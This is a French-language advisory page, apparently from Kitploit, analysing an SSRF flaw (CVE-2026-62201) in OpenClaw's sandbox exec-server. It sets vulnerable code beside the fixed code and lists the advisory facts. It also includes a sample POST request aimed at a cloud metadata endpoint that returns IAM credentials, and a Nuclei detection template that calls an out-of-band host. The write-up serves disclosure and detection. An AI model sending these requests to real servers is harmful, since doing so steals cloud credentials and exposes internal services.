CVE-2026-62201-OpenClaw-SSRF — Analyse approfondie de CVE-2026-62201 : contournement de la politique réseau du serveur d'exécution sandbox d'OpenClaw (SSRF). Cause racine, code vulnérable vs corrigé, exploitation, détection, remédiation. | Kitploit

# Extrait de [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abrégé)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

http:
  - raw:
      - |
        POST /exec/http HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "bodyBase64"

Avis de sécurité	GHSA-mgvr-6gvw-3rgr
NVD	CVE-2026-62201
Produit	OpenClaw (paquet npm `openclaw`) — composant sandbox `exec-server`
Versions affectées	`openclaw` < `2026.6.6`
Version corrigée	`2026.6.6` et ultérieures
Cause racine	Absence de validation SSRF dans l'assistant HTTP intégré de l'exec-server (`SANDBOX_HTTP_REQUEST_SCRIPT`)
Commit de correction	`21410d1c` — « fix(codex): guard sandbox http requests »
Vecteur d'attaque	Requête HTTP POST vers le gestionnaire `http/request` de l'exec-server avec une URL contrôlée par l'attaquant
Impact	Un appelant à faibles privilèges atteint des destinations réseau internes (métadonnées cloud, IP privées, services localhost) que la politique réseau d'OpenClaw devrait bloquer

CVE-2026-62201-OpenClaw-SSRF

Populaires

Résumé

Analyse technique approfondie

Le composant : Sandbox Exec-Server

Code vulnérable ([email protected])

La correction ([email protected])

Exploitation

Prérequis

Procédure pas à pas

Exemples de chaînes d'attaque

Impact et justification CVSS

Détection

Nuclei

Signaux de journaux et de télémétrie

Remédiation

Chronologie de divulgation

Références

Divulgation responsable